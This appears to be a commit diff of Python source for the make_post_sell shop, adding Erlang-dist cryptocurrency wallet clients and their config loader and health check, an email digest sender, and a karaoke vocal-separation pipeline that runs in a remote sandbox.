self, account_index: int = 0, label: Optional[str] = None
) -> Tuple[str, int]:
msg = (
_atom("monero"),
_atom("create_subaddress"),
[account_index, label.encode("utf-8") if label else None],
)
result = _unwrap_ok(self._conn.call(msg), "create_subaddress")
# Wallet.Service returns {:ok, {address, index}} → (str, int) tuple
if isinstance(result, tuple) and len(result) == 2:
address, index = result
return (
address if isinstance(address, str) else address.decode("utf-8"),
int(index),
)
raise WalletDistError(f"create_subaddress: unexpected reply shape {result!r}")
# ------ Payment polling
def get_transfers_for_subaddr(
self, account_index: int, subaddr_indices: List[int]
) -> Dict[str, Any]:
msg = (
_atom("monero"),
_atom("get_transfers_for_subaddr"),
[account_index, list(subaddr_indices)],
)
return _unwrap_ok(self._conn.call(msg), "get_transfers_for_subaddr") or {}
# ------ Balance
def get_balance(
self, account_index: int = 0, subaddress_indices: Optional[List[int]] = None
) -> Dict[str, Any]:
msg = (
_atom("monero"),
_atom("get_balance"),
[account_index, list(subaddress_indices or [])],
)
return _unwrap_ok(self._conn.call(msg), "get_balance") or {}
# ------ Height + sync
def get_height(self) -> int:
msg = (_atom("monero"), _atom("get_height"), [])
result = _unwrap_ok(self._conn.call(msg), "get_height")
return int(result) if result is not None else 0
def is_synced(self) -> bool:
try:
return self.get_height() > 0
except Exception:
return False
def get_sync_status(self) -> dict:
try:
h = self.get_height()
synced = h > 0
return {
"wallet_height": h,
"synced": synced,
"sync_percentage": 100.0 if synced else 0.0,
"remote_node": True,
"ready": synced,
}
except Exception as e:
return {
"wallet_height": 0,
"synced": False,
"sync_percentage": 0.0,
"remote_node": True,
"ready": False,
"error": str(e),
}
def refresh(self) -> Any:
msg = (_atom("monero"), _atom("refresh"), [])
return _unwrap_ok(self._conn.call(msg, timeout=60.0), "refresh")
# ------ Sweep
def sweep_subaddress(
self,
account_index: int,
subaddress_index: int,
destination: str,
priority: int = 0,
) -> str:
msg = (
_atom("monero"),
_atom("sweep_subaddress"),
[account_index, subaddress_index, destination.encode("utf-8"), priority],
)
result = _unwrap_ok(self._conn.call(msg, timeout=30.0), "sweep_subaddress")
return result if isinstance(result, str) else str(result)
def sweep_subaddress_with_details(
self,
account_index: int,
subaddress_index: int,
destination: str,
priority: int = 0,
) -> Dict[str, Any]:
"""Returns ``{"tx_hash": str, "amount": int}`` for fee accounting.
Use this instead of ``sweep_subaddress`` whenever you need the
actual swept amount (e.g. restocking-fee math against the
on-chain amount after network fees).
"""
msg = (
_atom("monero"),
_atom("sweep_subaddress_with_details"),
[account_index, subaddress_index, destination.encode("utf-8"), priority],
)
return _unwrap_ok(
self._conn.call(msg, timeout=30.0), "sweep_subaddress_with_details"
) or {}
# ------ Transfer (refunds)
def transfer(
self,
destinations: List[Dict[str, Any]],
account_index: int = 0,
priority: int = 0,
get_tx_key: bool = True,
) -> Dict[str, Any]:
"""``destinations``: ``[{"amount": int_atomic, "address": str}, ...]``."""
encoded = [
{b"amount": int(d["amount"]), b"address": d["address"].encode("utf-8")}
for d in destinations
]
msg = (
_atom("monero"),
_atom("transfer"),
[
encoded,
account_index,
[(_atom("priority"), priority), (_atom("get_tx_key"), get_tx_key)],
],
)
return _unwrap_ok(self._conn.call(msg, timeout=30.0), "transfer") or {}
# ------ Confirmation tracking (new helper)
def get_tx_confirmations(self, tx_hash: str, account_index: int = 0) -> int:
msg = (
_atom("monero"),
_atom("get_tx_confirmations"),
[tx_hash.encode("utf-8"), account_index],
)
result = _unwrap_ok(self._conn.call(msg), "get_tx_confirmations")
return int(result) if result is not None else 0
# ---------------------------------------------------------------------------
# UTXO coins — shared base, one subclass per coin
# ---------------------------------------------------------------------------
class _ErlangDistUtxoClient:
"""Shared base for Bitcoin / Litecoin / Dogecoin dist clients.
All three speak the same bitcoind-style RPC contract; only the coin
atom (``:btc`` / ``:ltc`` / ``:doge``) differs. Subclasses set
``COIN_ATOM`` to identify themselves to Wallet.Service.
"""
COIN_ATOM: str = "" # overridden by subclass
def __init__(
self,
*,
our_name: str,
peer_name: str,
cookie: str,
peer_host: str = "localhost",
call_timeout: float = 15.0,
connect_timeout: float = 5.0,
tls_cert: Optional[str] = None,
tls_key: Optional[str] = None,
tls_ca: Optional[str] = None,
registered_name: str = WALLET_SERVICE_NAME,
):
if not self.COIN_ATOM:
raise TypeError(
f"{type(self).__name__}: COIN_ATOM must be set on subclass"
)
self._conn = _DistConn(
our_name=our_name,
peer_name=peer_name,
cookie=cookie,
peer_host=peer_host,
call_timeout=call_timeout,
connect_timeout=connect_timeout,
tls_cert=tls_cert,
tls_key=tls_key,
tls_ca=tls_ca,
registered_name=registered_name,
)
def close(self) -> None:
self._conn.close()
def __enter__(self) -> "_ErlangDistUtxoClient":
return self
def __exit__(self, *_a) -> None:
self.close()
def _utxo_call(self, function: str, args: List[Any], timeout: Optional[float] = None) -> Any:
msg = (
_atom("utxo"),
_atom(self.COIN_ATOM),
_atom(function),
args,
)
return _unwrap_ok(self._conn.call(msg, timeout=timeout), function)
# ------ Wallet management
def getnewaddress(self, label: str = "") -> str:
result = self._utxo_call("getnewaddress", [label.encode("utf-8")])
return result if isinstance(result, str) else str(result)
def getaddressesbylabel(self, label: str) -> Dict[str, Any]:
return self._utxo_call("getaddressesbylabel", [label.encode("utf-8")]) or {}
def validateaddress(self, address: str) -> Dict[str, Any]:
return self._utxo_call("validateaddress", [address.encode("utf-8")]) or {}
# ------ Balances + history
def getbalance(self) -> float:
result = self._utxo_call("getbalance", [])
return float(result) if result is not None else 0.0
def getreceivedbyaddress(self, address: str, minconf: int = 0) -> float:
result = self._utxo_call(
"getreceivedbyaddress", [address.encode("utf-8"), minconf]
)
return float(result) if result is not None else 0.0
def listtransactions(
self, label: str = "*", count: int = 10, skip: int = 0
) -> List[Dict[str, Any]]:
return self._utxo_call(
"listtransactions", [label.encode("utf-8"), count, skip]
) or []
def gettransaction(self, txid: str) -> Dict[str, Any]:
return self._utxo_call("gettransaction", [txid.encode("utf-8")]) or {}
# ------ Sending
def sendtoaddress(self, address: str, amount: float, comment: str = "") -> str:
opts = []
if comment:
opts.append((_atom("comment"), comment.encode("utf-8")))
result = self._utxo_call(
"sendtoaddress",
[address.encode("utf-8"), float(amount), opts],
timeout=30.0,
)
return result if isinstance(result, str) else str(result)
def sendmany(
self,
from_label: str,
addresses_amounts: Dict[str, float],
minconf: int = 1,
comment: str = "",
) -> str:
outputs = {
addr.encode("utf-8"): float(amt) for addr, amt in addresses_amounts.items()
}
opts = [(_atom("minconf"), minconf), (_atom("from_account"), from_label.encode("utf-8"))]
if comment:
opts.append((_atom("comment"), comment.encode("utf-8")))
result = self._utxo_call("sendmany", [outputs, opts], timeout=30.0)
return result if isinstance(result, str) else str(result)
# ------ Blockchain status
def getblockcount(self) -> int:
# Some Wallet.Service handlers may not expose getblockcount —
# fall back to getblockchaininfo if it errors.
try:
result = self._utxo_call("getblockcount", [])
return int(result) if result is not None else 0
except WalletDistError:
info = self.getblockchaininfo()
return int(info.get("blocks", 0))
def getblockchaininfo(self) -> Dict[str, Any]:
return self._utxo_call("getblockchaininfo", []) or {}
def is_synced(self) -> bool:
try:
info = self.getblockchaininfo()
blocks = int(info.get("blocks") or 0)
headers = int(info.get("headers") or 0)
return blocks > 0 and blocks >= headers - 1
except Exception:
return False
def get_sync_status(self) -> dict:
try:
info = self.getblockchaininfo()
blocks = int(info.get("blocks") or 0)
headers = int(info.get("headers") or 0)
synced = blocks > 0 and blocks >= headers - 1
return {
"blocks": blocks,
"headers": headers,
"synced": synced,
"sync_percentage": 100.0 * blocks / headers if headers else 0.0,
"ready": synced,
}
except Exception as e:
return {
"blocks": 0,
"headers": 0,
"synced": False,
"sync_percentage": 0.0,
"ready": False,
"error": str(e),
}
# ------ Confirmation tracking (new helper)
def get_tx_confirmations(self, txid: str) -> int:
result = self._utxo_call("get_tx_confirmations", [txid.encode("utf-8")])
return int(result) if result is not None else 0
class ErlangDistBitcoinClient(_ErlangDistUtxoClient):
COIN_ATOM = "btc"
class ErlangDistLitecoinClient(_ErlangDistUtxoClient):
COIN_ATOM = "ltc"
class ErlangDistDogecoinClient(_ErlangDistUtxoClient):
COIN_ATOM = "doge"
# ---------------------------------------------------------------------------
# Cross-coin helpers (operate on coin_type parameter, not tied to one client)
# ---------------------------------------------------------------------------
def refund_with_fee_split(
conn: _DistConn,
coin_type: str,
refund_address: str,
refund_amount_atomic: int,
shop_address: Optional[str] = None,
shop_amount_atomic: int = 0,
opts: Optional[List[Tuple[Any, Any]]] = None,
) -> Dict[str, Any]:
"""Single-transaction customer refund + optional shop fee output.
``coin_type``: one of ``"xmr"``, ``"btc"``, ``"ltc"``, ``"doge"``.
Atomic amounts (piconero / satoshi / litoshi / koinu). Pass
``shop_amount_atomic=0`` for a refund without a fee split.
Returns ``{"tx_hash": str}`` on success or raises ``WalletDistError``.
"""
msg = (
_atom("refund_with_fee_split"),
_atom(coin_type),
refund_address.encode("utf-8"),
int(refund_amount_atomic),
shop_address.encode("utf-8") if shop_address else None,
int(shop_amount_atomic),
opts or [],
)
return _unwrap_ok(conn.call(msg, timeout=30.0), "refund_with_fee_split") or {}
def refund_economically_viable(
refund_amount_coin: Any,
usd_per_coin: Optional[Any],
min_usd: Any = Decimal("0.069"),
) -> bool:
"""Pure helper — same math as Wallet.Service.refund_economically_viable?/3.
Doesn't touch the network. Lives here so callers don't have to round-
trip a trivial decision through dist. Wallet.Service exposes the
same predicate so the Elixir side has a single source of truth, but
Python callers can short-circuit.
Default ``min_usd`` matches MPS's ``MINIMUM_VIABLE_REFUND_USD``.
"""
if usd_per_coin is None:
return True
refund = refund_amount_coin if isinstance(refund_amount_coin, Decimal) else Decimal(str(refund_amount_coin))
rate = usd_per_coin if isinstance(usd_per_coin, Decimal) else Decimal(str(usd_per_coin))
threshold = min_usd if isinstance(min_usd, Decimal) else Decimal(str(min_usd))
return (refund * rate) >= threshold
def open_wallet_conn(
*,
our_name: str,
peer_name: str,
cookie: str,
peer_host: str = "localhost",
call_timeout: float = 15.0,
connect_timeout: float = 5.0,
tls_cert: Optional[str] = None,
tls_key: Optional[str] = None,
tls_ca: Optional[str] = None,
registered_name: str = WALLET_SERVICE_NAME,
) -> _DistConn:
"""Open a connection for callers that want to use ``refund_with_fee_split``
directly (without holding a per-coin client). Caller closes it with
``.close()`` or uses it as a context manager."""
return _DistConn(
our_name=our_name,
peer_name=peer_name,
cookie=cookie,
peer_host=peer_host,
call_timeout=call_timeout,
connect_timeout=connect_timeout,
tls_cert=tls_cert,
tls_key=tls_key,
tls_ca=tls_ca,
registered_name=registered_name,
)

162
make_post_sell/lib/crypto_watcher/wallet_dist_config.py Normal file
View file

@ -0,0 +1,162 @@
"""
Read wallet-dist config from production.ini and build kwargs for the
``ErlangDist*Client`` constructors in ``erldist_clients``.
Config shape (added to ``[app:main]`` in production.ini by Salt/pillar):
wallet_dist.enabled = true
wallet_dist.our_node_name = mps@my.makepostsell.com
wallet_dist.peer_name = wallet
wallet_dist.peer_host = cammy.foxhop.net
wallet_dist.registered_name = Elixir.Wallet.Service
wallet_dist.cert = /etc/make_post_sell/wallet-dist/mps-client.crt
wallet_dist.key = /etc/make_post_sell/wallet-dist/mps-client.key
wallet_dist.ca = /etc/make_post_sell/wallet-dist/ca.crt
wallet_dist.cookie_file = /etc/make_post_sell/wallet-dist/cookie
The cookie value is read from ``cookie_file`` at config-load time. The
caller never sees the value on stdout / args / logs — it stays inside
the WalletDistConfig dataclass and gets passed straight to the client
constructor.
"""
from __future__ import annotations
from configparser import ConfigParser
from dataclasses import dataclass
from pathlib import Path
from typing import Optional
@dataclass(frozen=True)
class WalletDistConfig:
enabled: bool
our_node_name: str
peer_name: str
peer_host: str
registered_name: str
tls_cert: Optional[str]
tls_key: Optional[str]
tls_ca: Optional[str]
cookie: str
def client_kwargs(self) -> dict:
"""Kwargs for ErlangDistMoneroClient / ErlangDist*Client.
Caller is responsible for closing the client (or using it as a
context manager)."""
return dict(
our_name=self.our_node_name,
peer_name=self.peer_name,
peer_host=self.peer_host,
cookie=self.cookie,
tls_cert=self.tls_cert,
tls_key=self.tls_key,
tls_ca=self.tls_ca,
registered_name=self.registered_name,
)
def _truthy(value: Optional[str]) -> bool:
return (value or "").strip().lower() in ("true", "1", "yes", "on")
def load_wallet_dist_config(ini_path: str) -> WalletDistConfig:
"""Read ``[app:main]`` from ``ini_path`` and assemble a WalletDistConfig.
Raises ``ValueError`` if ``wallet_dist.enabled = true`` but any of the
required keys / files are missing. Returns a disabled config (no
side-effects) if ``wallet_dist.enabled`` is unset or false.
"""
cp = ConfigParser()
if not cp.read(ini_path):
raise FileNotFoundError(f"production.ini not found: {ini_path}")
if "app:main" not in cp:
raise ValueError(f"{ini_path} has no [app:main] section")
app = cp["app:main"]
return _build_from_dict(dict(app), source=ini_path)
def load_wallet_dist_config_from_settings(settings) -> WalletDistConfig:
"""Same shape as ``load_wallet_dist_config`` but reads from a Pyramid
``settings`` dict instead of an ini path.
Used by the crypto_watcher client factory so the running app can
branch on ``wallet_dist.enabled`` without re-parsing the ini.
"""
# Filter to wallet_dist.* keys so unrelated settings can't trip
# validation. ConfigParser-style keys come through as flat dotted
# strings in Pyramid's settings dict — same shape as `app` above.
relevant = {k: v for k, v in settings.items() if k.startswith("wallet_dist.")}
return _build_from_dict(relevant, source="pyramid settings")
def _build_from_dict(app: dict, *, source: str) -> WalletDistConfig:
"""Shared validation/assembly. ``app`` is a dict-like of dotted
``wallet_dist.*`` keys (the [app:main] section, or a slice of
Pyramid settings). ``source`` shows up in error messages.
"""
enabled = _truthy(app.get("wallet_dist.enabled"))
if not enabled:
return WalletDistConfig(
enabled=False,
our_node_name="",
peer_name="",
peer_host="",
registered_name="",
tls_cert=None,
tls_key=None,
tls_ca=None,
cookie="",
)
required = (
"wallet_dist.our_node_name",
"wallet_dist.peer_name",
"wallet_dist.peer_host",
"wallet_dist.cookie_file",
)
missing = [k for k in required if not app.get(k, "").strip()]
if missing:
raise ValueError(
f"wallet_dist enabled but missing keys: {', '.join(missing)}"
)
cookie_file = app["wallet_dist.cookie_file"].strip()
try:
cookie = Path(cookie_file).read_text().strip()
except OSError as e:
raise ValueError(
f"cannot read wallet_dist.cookie_file {cookie_file!r} (from {source}): {e}"
)
if not cookie:
raise ValueError(f"wallet_dist.cookie_file is empty: {cookie_file} (from {source})")
# TLS material — all three or none. None = plain inet_tcp_dist
# (acceptable when peer also runs plaintext, e.g. dev). All three =
# inet_tls_dist (production via cammy cluster).
cert = (app.get("wallet_dist.cert") or "").strip() or None
key = (app.get("wallet_dist.key") or "").strip() or None
ca = (app.get("wallet_dist.ca") or "").strip() or None
tls_count = sum(1 for v in (cert, key, ca) if v)
if tls_count not in (0, 3):
raise ValueError(
"wallet_dist.cert/key/ca must be all set or all empty "
f"(got cert={bool(cert)} key={bool(key)} ca={bool(ca)})"
)
return WalletDistConfig(
enabled=True,
our_node_name=app["wallet_dist.our_node_name"].strip(),
peer_name=app["wallet_dist.peer_name"].strip(),
peer_host=app["wallet_dist.peer_host"].strip(),
registered_name=(
app.get("wallet_dist.registered_name", "Elixir.Wallet.Service").strip()
or "Elixir.Wallet.Service"
),
tls_cert=cert,
tls_key=key,
tls_ca=ca,
cookie=cookie,
)

107
make_post_sell/lib/crypto_watcher/wallet_dist_health.py Normal file
View file

@ -0,0 +1,107 @@
"""
``mps_wallet_dist_health`` — single-shot smoke test that MPS can reach
``Wallet.Service`` on the cluster via Erlang dist.
Usage::
mps_wallet_dist_health /opt/make_post_sell/production.ini
Reads the ``wallet_dist`` keys from ``[app:main]``, opens a dist
connection via erldistpy, calls a handful of cheap operations
(``health`` checks against the wallet node), prints results.
Exit code:
0 if connection + RPC succeeded
2 if config is missing / wallet_dist not enabled
3 if the dist connection or RPC call failed (likely cert/cookie
mismatch, network reach, or wallet@cammy down — log line above
will name the failure)
"""
from __future__ import annotations
import argparse
import sys
import traceback
from make_post_sell.lib.crypto_watcher.wallet_dist_config import (
WalletDistConfig,
load_wallet_dist_config,
)
def _parse_args(argv: list[str] | None = None) -> argparse.Namespace:
parser = argparse.ArgumentParser(
prog="mps_wallet_dist_health",
description="Verify MPS can talk to wallet@cammy over Erlang dist.",
)
parser.add_argument(
"config_path",
nargs="?",
default="/opt/make_post_sell/production.ini",
help="path to production.ini (default: /opt/make_post_sell/production.ini)",
)
parser.add_argument(
"--timeout",
type=float,
default=10.0,
help="dist call timeout in seconds (default: 10.0)",
)
return parser.parse_args(argv)
def main(argv: list[str] | None = None) -> int:
args = _parse_args(argv)
try:
cfg = load_wallet_dist_config(args.config_path)
except Exception as e:
print(f"config error: {e}", file=sys.stderr)
return 2
if not cfg.enabled:
print("wallet_dist.enabled = false (nothing to test)", file=sys.stderr)
return 2
print("=== MPS wallet-dist health check ===")
print(f"our_node_name : {cfg.our_node_name}")
print(f"peer : {cfg.peer_name}@{cfg.peer_host}")
print(f"registered_name : {cfg.registered_name}")
print(f"tls : {'mTLS' if cfg.tls_cert else 'plain'}")
print("")
# Local import — erldistpy is a runtime-optional dep (only required
# when wallet_dist is enabled). Importing at module top would force
# the dep on every MPS process, including ones that never touch dist.
try:
from make_post_sell.lib.crypto_watcher.erldist_clients import (
ErlangDistMoneroClient,
)
except ImportError as e:
print(f"erldistpy not installed: {e}", file=sys.stderr)
print("hint: pip install 'erldistpy>=0.1.6'", file=sys.stderr)
return 3
try:
with ErlangDistMoneroClient(
**cfg.client_kwargs(),
call_timeout=args.timeout,
) as client:
print("connected")
height = client.get_height()
print(f"monero height: {height}")
synced = client.is_synced()
print(f"synced: {synced}")
except Exception as e:
print(f"\nDIST RPC FAILED: {type(e).__name__}: {e}", file=sys.stderr)
print("traceback:", file=sys.stderr)
traceback.print_exc()
return 3
print("")
print("OK - MPS can reach Wallet.Service on the cluster")
return 0
if __name__ == "__main__": # pragma: no cover
sys.exit(main())

207
make_post_sell/lib/digest_sender.py Normal file
View file

@ -0,0 +1,207 @@
"""
Console script to send email digests to shop subscribers.
Usage:
digest_sender data/development.ini --frequency immediate
digest_sender data/development.ini --frequency daily
digest_sender data/development.ini --frequency weekly --dry-run
Cron setup:
*/5 * * * * /path/to/env/bin/digest_sender /path/to/production.ini --frequency immediate
0 8 * * * /path/to/env/bin/digest_sender /path/to/production.ini --frequency daily
0 8 * * 1 /path/to/env/bin/digest_sender /path/to/production.ini --frequency weekly
"""
import argparse
import sys
import logging
import transaction
from pyramid.paster import bootstrap, setup_logging
from ..models.meta import now_timestamp
from ..models.shop import Shop
from ..models.product import Product
from ..models.shop_subscription import (
FREQUENCY_DAILY,
FREQUENCY_WEEKLY,
FREQUENCY_IMMEDIATE,
get_verified_subscriptions_for_shop,
)
from .mail import send_email
from .mail_messages import DIGEST_TEXT, DIGEST_HTML
logger = logging.getLogger(__name__)
def parse_args(argv):
p = argparse.ArgumentParser(
description="Send email digests to shop subscribers"
)
p.add_argument("config_uri", help="Pyramid config file, e.g. development.ini")
p.add_argument(
"--frequency",
choices=["immediate", "daily", "weekly"],
required=True,
help="Which frequency of subscribers to process",
)
p.add_argument(
"--dry-run",
action="store_true",
help="Log what would be sent without actually sending",
)
return p.parse_args(argv[1:])
def get_new_items_for_subscriber(dbsession, shop, since_timestamp):
"""Query new public products created after since_timestamp."""
return (
dbsession.query(Product)
.filter(
Product.shop_id == shop.id,
Product.visibility == 1,
Product.created_timestamp > since_timestamp,
)
.order_by(Product.created_timestamp.desc())
.all()
)
def build_digest_text(shop_name, items, unsubscribe_url):
"""Build plain text digest email."""
item_lines = []
for item in items:
label = "Product" if item.is_sellable else "Content"
item_lines.append(f"- [{label}] {item.title}")
items_text = "\n".join(item_lines)
return DIGEST_TEXT.format(shop_name, items_text, unsubscribe_url)
def build_digest_html(shop_name, items, unsubscribe_url, get_endpoint=""):
"""Build HTML digest email."""
item_parts = []
for item in items:
label = "Product" if item.is_sellable else "Content"
thumbnail = ""
if "thumbnail1" in item.extensions and get_endpoint:
thumbnail = (
f'<img src="{get_endpoint}/{item.s3_path}/thumbnail1?ts={item.updated_timestamp}" '
f'style="border: 1px solid #ddd; border-radius: 4px; max-width: 120px; '
f'max-height: 120px; width: auto; height: auto;" /><br/>'
)
item_parts.append(
f'<p>{thumbnail}<b>{item.title}</b> <span style="color: #888;">({label})</span></p>'
)
items_html = "\n".join(item_parts)
subject = f"New from {shop_name}"
return DIGEST_HTML.format(subject, shop_name, items_html, unsubscribe_url)
def run(env, frequency_str, dry_run=False):
"""Process all shops and send digests."""
freq_map = {
"immediate": FREQUENCY_IMMEDIATE,
"daily": FREQUENCY_DAILY,
"weekly": FREQUENCY_WEEKLY,
}
frequency = freq_map.get(frequency_str, FREQUENCY_DAILY)
request = env["request"]
dbsession = request.dbsession
settings = request.registry.settings
# Email settings
default_sender = "no-reply@makepostsell.com"
sender_email = settings.get("app.email.sender", default_sender)
relay = settings.get("app.email.relay", "localhost")
dkim_private_key_path = settings.get("app.email.dkim_private_key_path", "")
dkim_selector = settings.get("app.email.dkim_selector", "")
dkim_signature_algorithm = settings.get(
"app.email.dkim_signature_algorithm", "ed25519-sha256"
)
get_endpoint = settings.get("app.bucket.secure_uploads.get_endpoint", "")
shops = (
dbsession.query(Shop)
.filter(Shop.subscriptions_enabled == True)
.filter(Shop.environment == 0) # MPS-14: exclude non-production shops
.all()
)
for shop in shops:
subscribers = get_verified_subscriptions_for_shop(
dbsession, shop.id, frequency=frequency
)
if not subscribers:
logger.info(f"Shop '{shop.name}': no {frequency_str} subscribers")
continue
for sub in subscribers:
items = get_new_items_for_subscriber(
dbsession, shop, sub.last_digest_timestamp
)
if not items:
logger.info(
f"Shop '{shop.name}': no new items for {sub.email} since last digest"
)
continue
unsubscribe_url = f"{request.host_url}/unsubscribe/{sub.unsubscribe_token}"
subject = f"New from {shop.name}"
message_text = build_digest_text(shop.name, items, unsubscribe_url)
message_html = build_digest_html(
shop.name, items, unsubscribe_url, get_endpoint
)
if dry_run:
logger.info(
f"[DRY RUN] Would send digest to {sub.email} for shop '{shop.name}' "
f"with {len(items)} item(s)"
)
else:
try:
send_email(
sub.email,
sender_email,
subject,
message_text,
message_html,
relay,
dkim_private_key_path,
dkim_selector,
dkim_signature_algorithm,
)
logger.info(
f"Sent digest to {sub.email} for shop '{shop.name}' "
f"with {len(items)} item(s)"
)
except Exception as e:
logger.error(
f"Failed to send digest to {sub.email} for shop '{shop.name}': {e}"
)
continue
# Update last_digest_timestamp
sub.last_digest_timestamp = now_timestamp()
def main(argv=sys.argv):
args = parse_args(argv)
setup_logging(args.config_uri)
logger.info(
f"Digest sender started: frequency={args.frequency}, dry_run={args.dry_run}"
)
with bootstrap(args.config_uri) as env:
try:
with transaction.manager:
run(env, args.frequency, args.dry_run)
finally:
logger.info("Digest sender finished")
if __name__ == "__main__":
main()

707
make_post_sell/lib/karaoke.py Normal file
View file

@ -0,0 +1,707 @@
"""Karaoke mode — vocal isolation via unsandbox zerotrust containers.
Downloads media from S3, uploads it + voxsplit.c via the /upload endpoint
(streaming, constant memory), then kicks off /execute referencing upload_ids.
Gets back both instrumentals and vocals, uploads them to S3.
Upload-based pipeline: files stream directly from disk to the API in 64KB
chunks — never base64-encoded, never held in memory on either side.
"""
import base64
import fcntl
import hashlib
import hmac
import json
import logging
import os
import tempfile
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests
from .un import API_BASE, _resolve_credentials, validate_keys
log = logging.getLogger(__name__)
_READ_CHUNK = 65536 # 64KB streaming buffer
VOXSPLIT_SOURCE = os.environ.get(
"VOXSPLIT_SOURCE_PATH",
os.path.join(os.path.dirname(__file__), "voxsplit.c"),
)
def _sign_body(secret_key, timestamp, method, path, body_bytes):
"""HMAC-SHA256 matching un._sign_request for small payloads."""
h = hmac.new(secret_key.encode(), digestmod=hashlib.sha256)
h.update(f"{timestamp}:{method}:{path}:{body_bytes}".encode())
return h.hexdigest()
def _upload_file(file_path, filename, public_key, secret_key):
"""Upload a file via POST /upload (streaming, constant memory).
Returns the upload_id string.
Note: the API skips body parsing for /upload (body streams in chunks),
so the HMAC signs against an empty body — not the file content.
"""
timestamp = int(time.time())
method = "POST"
path = "/upload"
# API doesn't buffer upload bodies for HMAC — sign with empty body
signature = _sign_body(secret_key, timestamp, method, path, "")
headers = {
"Authorization": f"Bearer {public_key}",
"X-Timestamp": str(timestamp),
"X-Signature": signature,
"X-Filename": filename,
"Content-Type": "application/octet-stream",
}
url = f"{API_BASE}{path}"
with open(file_path, "rb") as body:
response = requests.post(
url, data=body, headers=headers, stream=False, timeout=300,
)
response.raise_for_status()
result = response.json()
return result["upload_id"]
def _execute_with_uploads(upload_ids, script, public_key, secret_key, tmpdir):
"""POST /execute referencing upload_ids instead of inline content.
The JSON body contains only metadata — no file content. Returns path
to response.json on disk.
"""
payload = {
"language": "bash",
"code": script,
"network_mode": "zerotrust",
"ttl": 300,
"vcpu": 2,
"input_files": [
{"upload_id": uid, "filename": fname}
for fname, uid in upload_ids
],
}
body_str = json.dumps(payload)
timestamp = int(time.time())
method = "POST"
path = "/execute"
signature = _sign_body(secret_key, timestamp, method, path, body_str)
headers = {
"Authorization": f"Bearer {public_key}",
"X-Timestamp": str(timestamp),
"X-Signature": signature,
"Content-Type": "application/json",
}
url = f"{API_BASE}{path}"
response = requests.post(
url, data=body_str.encode(), headers=headers, stream=True, timeout=300,
)
response.raise_for_status()
resp_path = os.path.join(tmpdir, "response.json")
with open(resp_path, "wb") as f:
for chunk in response.iter_content(chunk_size=_READ_CHUNK):
if chunk:
f.write(chunk)
return resp_path
def _process_response_from_disk(resp_path, s3_client, bucket, s3_path,
is_video, extension, tmpdir):
"""Parse response JSON, decode artifacts to tmpfiles, upload to S3.
Returns {"instrumentals": size, "vocals": size} or None.
"""
with open(resp_path, "r") as f:
result = json.load(f)
os.unlink(resp_path)
if not result.get("success") or result.get("exit_code") != 0:
log.warning(
"Unsandbox execute non-zero exit: success=%s exit_code=%s "
"stdout=%.2000s stderr=%.2000s",
result.get("success"), result.get("exit_code"),
result.get("stdout", ""), result.get("stderr", ""),
)
return None
artifacts = result.get("artifacts", [])
if len(artifacts) < 2:
return None
artifact_map = {}
for a in artifacts:
fname = a.get("filename", "")
if fname.startswith("instrumentals"):
artifact_map["instrumentals"] = a
elif fname.startswith("vocals"):
artifact_map["vocals"] = a
if "instrumentals" not in artifact_map or "vocals" not in artifact_map:
return None
sizes = {}
content_type = "video/mp4" if is_video else "audio/wav"
for track_name in ("instrumentals", "vocals"):
artifact = artifact_map[track_name]
decoded = base64.b64decode(artifact["content_base64"])
track_path = os.path.join(tmpdir, f"{track_name}.bin")
with open(track_path, "wb") as f:
f.write(decoded)
size = len(decoded)
del decoded
del artifact["content_base64"]
with open(track_path, "rb") as f:
s3_client.put_object(
Bucket=bucket,
Key=f"{s3_path}/{track_name}",
Body=f,
CacheControl="private, max-age=172800",
ContentType=content_type,
)
sizes[track_name] = size
os.unlink(track_path)
return sizes
def process_karaoke(s3_client, bucket, s3_key, s3_path,
is_video, extension, public_key=None, secret_key=None,
skip_validate=False):
"""Download from S3 -> process in unsandbox zerotrust -> upload both tracks.
Upload-based pipeline: files stream to the API via POST /upload (64KB
chunks, constant memory on both sides), then /execute references them
by upload_id. Zero base64 encoding on the request side.
Produces two files under s3_path:
{s3_path}/instrumentals
{s3_path}/vocals
Returns dict {"instrumentals": size, "vocals": size} on success, None on failure.
"""
public_key, secret_key = _resolve_credentials(public_key, secret_key)
if not skip_validate:
try:
validate_keys(public_key, secret_key)
except Exception as e:
log.warning("Unsandbox API keys invalid or expired — skipping: %s", e)
return None
log.info("process_karaoke: bucket=%s key=%s s3_path=%s", bucket, s3_key, s3_path)
with tempfile.TemporaryDirectory(prefix="karaoke_") as tmpdir:
# 1. Stream S3 download to disk
media_path = os.path.join(tmpdir, "media.bin")
resp = s3_client.get_object(Bucket=bucket, Key=s3_key)
with open(media_path, "wb") as f:
body = resp["Body"]
while True:
chunk = body.read(_READ_CHUNK)
if not chunk:
break
f.write(chunk)
# 2. Prepare voxsplit binary
voxsplit_bin = os.path.join(tmpdir, "voxsplit.bin")
with open(VOXSPLIT_SOURCE, "r") as src, open(voxsplit_bin, "wb") as dst:
dst.write(src.read().encode())
# 3. Upload both files via /upload (streaming, constant memory)
try:
media_upload_id = _upload_file(
media_path, "media", public_key, secret_key,
)
os.unlink(media_path)
voxsplit_upload_id = _upload_file(
voxsplit_bin, "voxsplit.c", public_key, secret_key,
)
os.unlink(voxsplit_bin)
except Exception as e:
log.warning("Unsandbox upload failed: %s", e)
return None
# 4. Build execution script
extract_wav = (
"gcc -O2 -o /tmp/voxsplit /tmp/input/voxsplit.c -lm && "
"ffmpeg -y -i /tmp/input/media -vn -acodec pcm_s16le -ar 44100 -ac 2 /tmp/audio.wav && "
"/tmp/voxsplit /tmp/audio.wav -o /tmp/split && "
"mkdir -p /tmp/artifacts"
)
if is_video:
inst_name = f"instrumentals.{extension}"
vocals_name = f"vocals.{extension}"
script = (
f"{extract_wav} && "
f"ffmpeg -y -i /tmp/input/media -i /tmp/split-instrumental.wav "
f"-c:v copy -map 0:v -map 1:a -shortest /tmp/artifacts/{inst_name} && "
f"ffmpeg -y -i /tmp/input/media -i /tmp/split-vocal.wav "
f"-c:v copy -map 0:v -map 1:a -shortest /tmp/artifacts/{vocals_name}"
)
else:
script = (
f"{extract_wav} && "
"cp /tmp/split-instrumental.wav /tmp/artifacts/instrumentals.wav && "
"cp /tmp/split-vocal.wav /tmp/artifacts/vocals.wav"
)
# 5. Execute with upload_id references (tiny JSON body, no file content)
try:
resp_path = _execute_with_uploads(
[("media", media_upload_id), ("voxsplit.c", voxsplit_upload_id)],
script, public_key, secret_key, tmpdir,
)
except Exception as e:
log.warning("Unsandbox execute failed: %s", e)
return None
